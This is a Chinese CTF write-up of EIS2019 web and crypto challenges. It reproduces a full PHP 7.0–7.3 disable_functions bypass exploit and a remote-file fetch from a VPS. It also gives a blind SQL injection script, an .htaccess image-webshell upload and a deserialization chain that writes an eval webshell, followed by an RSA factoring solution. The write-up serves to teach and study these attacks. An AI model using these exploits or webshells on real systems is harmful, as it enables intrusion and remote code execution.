EIS2019 WP

WEB

ezbypass

简单绕过disable_function,找找别人的payload,直接上传

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
# 
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https:/
/github.com/mm0r1

pwn($_GET["ssss"]);

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

我是用copy('http://vps/zz.php','/tmp/zz.php')来进行传输,然后?cmd=include('/tmp/zz.php');&ssss=/readflag拿到flag,但是好像传过去一个空文件,所以一直失败。后来发现有别人也上传了shell


直接捡别人的来用

ezupload

右键看到提示,下载/.login.php.swpvim -r恢复原文件。

<?php
#Error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
    $sql = "select password from user where name=?";
    if ($stmt = $mysqli->prepare($sql)) {
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($dpasswd);
        $stmt->fetch();
        if ($dpasswd === $password){
        $_SESSION['login'] = 1;
            header("Location: /upload.php");
        }else{
            die("login failed");
        }
        $stmt->close();
    }
}else{
    header("Location: /index.php");
}
$mysqli->close();

老考题了,随便输入一个username,抓包删掉password即可。因为select结果为nullpasswordnullnull===null


接下来也是老考题了,用SUCTF2019 CheckIn的思路即可,因为不知道上传目录下是否有php文件,所以改用.htaccess+图片马直接上。文件中加个xbm文件头

#define test_width 16
#define test_height 7

猜测上传目录为uploads,然后去getshell

ezwaf

源码如下:

<?php
include "config.php";

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

function escape($arr)
{
    global $mysqli;
    $newarr = array();
    foreach($arr as $key=>$val)
    {
        if (!is_array($val))
        {
            $newarr[$key] = mysqli_real_escape_string($mysqli, $val);
        }
    }
    return $newarr;
}

$_GET= escape($_GET);

if (isset($_GET['name']))
{
    $name = $_GET['name'];
    mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
    $age = $_GET['age'];
    mysqli_query($mysqli, "select name from user where age=$age");
}

代码中加了一层mysql_real_escape_string()函数过滤了单引号双引号


但是在代码中我们可以发现,age这个变量是数值型注入。所以直接盲注就可以。盲注代码如下:

import requests
import urllib

flag = ''
pos = 1
url = 'http://111.186.57.61:10601/?age='
while True :
    for i in range(0,128):
        try:
           # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
           # flag_xdd
           # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(column_name) from information_schema.columns where table_name=0x666c61675f786464) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
           # flag_32122
           res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(flag_32122) from flag_xdd ) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
        except Exception ,e:
            flag +=chr(i)
            print flag
            break
    pos = pos+1
    print "oops"

一开始写的时候,没有加headers={'Content-Length':''},死活出不来答案。
然后因为过滤了引号,所以再写where子句的时候,用的是十六进制绕过。

ezpop

源码:

 <?php
error_reporting(0);

class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
}

class B{
    protected function getExpireTime($expire): int
    {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }
        return false;
    }
}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

首先确定应该是反序列化,考虑一下利用链的构造。
看一下代码,大概能确认是以下过程:

A类的__destruct()调用A类的save()
通过构造A的$store为B对象,从而在A类的save()中调用B类的set
在B类的set中最终完成shell的写入

接下来详细看一下各参数。
先从B类开始吧。

prefix用于文件名的构造。

...
    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }
...
$filename = $this->getCacheKey($name);

因为在后面写入文件的时候,前面拼接了一段别的php代码

"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"

而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。
这里经@张师傅提醒知道有道原题叫死亡退出,并且file_put_contents是支持php伪协议的,所以我们可以通过php://filter/write=convert.base64-decode/来将

        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell部分<?php phpinfo()?>前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。
所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。

然后是控制写入的内容。
我们先确定$data是怎么生成的。
从最终写入文件往上翻,先看到的是

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n长度为32,所以不用注意,继续往上翻:

...
   protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        #print strval($data);#[{"whatever":{"filename":"test"}},"333"]
        return $serialize($data);
    }
...
$data = $this->serialize($value);

只要不影响原值,哪个函数都行。这里我选择用的是strval,用strip_tags当然也是可以的。$b->options['serialize']='strval'。再往上翻,就翻到了A类:

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

可以发现关键是$a->catch的构造。在cleanContents()中,array_intersect_key()是比较两个数组的键名,并返回交集。所以我们$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shellbase64编码,
JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
所以
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");

如果我们设值$path='1',$complete='2',则最后得到的$contents会是

[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]

其中$complete='2'因为在shell后面,所以并不影响解码。在本地试了试,发现$path='111'时,可以正常解码shell。这样的话,$data已经设置完毕。
别的就是一些判断条件的参数,最终的exp如下:

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = '1.php';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

get请求发过去之后,发现成功写入。

说说遇到坑。一开始随便百度了一个base64在线编码,然后发现死活解不了。后来换了个网站发现成功了,原来是一开始找的网站,不仅会base64编码,还同时给我url编码了一波。。
还有个坑,就是在调$path长度的时候,我一开始以为是直接算$datashell前面那一串的长度,我算出来不加$path的时候长度为14

然后我以为$path长度设为2即可。然后发现死活不成功,后来从1到4都试了试(最多就是4个),发现长度3的时候成功了,我也不知道这个长度到底怎么算的。。
base64编码之后结尾如果有=,要删了之后才能写入成功,也很玄学。。

所以建议本地打通了再试远程。

Crypto

RSA1

from flag import FLAG
from Crypto.Util.number import *
import gmpy2
import random

while True:
    p = int(gmpy2.next_prime(random.randint(10**399, 10**400-1)))
    q = int(str(p)[200:]+str(p)[:200])
    if gmpy2.is_prime(q):
        break

m = bytes_to_long(FLAG)
n = p*q
e = 65537
c = pow(m,e,n)

with open("enc","wb") as f:
    f.write(str(c))
    f.write("\n")
    f.write(str(n))
16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836
21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301

首先我们先把p切割成两部分,前200位为a,后面的为b,则p=a*10^{200}+b,此时q=b*10^{200}+a
所以n=p*q=(b*10^{200}+a)*(a*10^{200}+b)=(a*b*10^{400}+(b^2+a^2)*10^{200}+a*b)不难发现n最低200位是a*b的低200位,n最高200位是a*b的高200位(或者a^2+b^2进一位)而p是400位,所以a,b都为200位,所以a*b也为400位,所以此时得到就是a*b
此时我们用a*b去代入上述等式,求出(a^2+b^2)*10^{200}。此时我们可以根据得到的值后200位是否全为0,从而判断a^2+b^2是进了一位的。然后两个变量两个等式算出ab

import gmpy2
import libnum
c = 16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836
n = 21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301
e = 65537

tmp = 10**200
#abhigh,ablow = n/(tmp^3), n % tmp
abhigh,ablow = n/(tmp**3)-1, n % tmp
ab = abhigh*tmp+ablow
a2b2 = (n-ab*(tmp**2)-ab)/tmp
#print a2b2
#(a-b),(a+b)
tmp1 = gmpy2.iroot(a2b2-2*ab,2)[0]
tmp2 = gmpy2.iroot(a2b2+2*ab,2)[0]
a = (tmp1+tmp2)/2
b = a-tmp1
p = a*tmp + b
q = n/p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,p*q)
print libnum.n2s(m)

未完待续

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 151,511评论 1 330
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 64,495评论 1 273
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 101,595评论 0 225
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,558评论 0 190
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,715评论 3 270
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,672评论 1 192
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,112评论 2 291
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,837评论 0 181
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,417评论 0 228
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,928评论 2 232
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,316评论 1 242
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,773评论 2 234
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,253评论 3 220
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,827评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,440评论 0 180
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,523评论 2 249
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,583评论 2 249

推荐阅读更多精彩内容

  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,611评论 0 10
  • 官网 中文版本 好的网站 Content-type: text/htmlBASH Section: User ...
    不排版阅读 4,303评论 0 5
  • Swift1> Swift和OC的区别1.1> Swift没有地址/指针的概念1.2> 泛型1.3> 类型严谨 对...
    cosWriter阅读 11,028评论 1 32
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,673评论 0 9
  • CTF中那些脑洞大开的编码和加密 0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问...
    查无此人asdasd阅读 5,737评论 0 19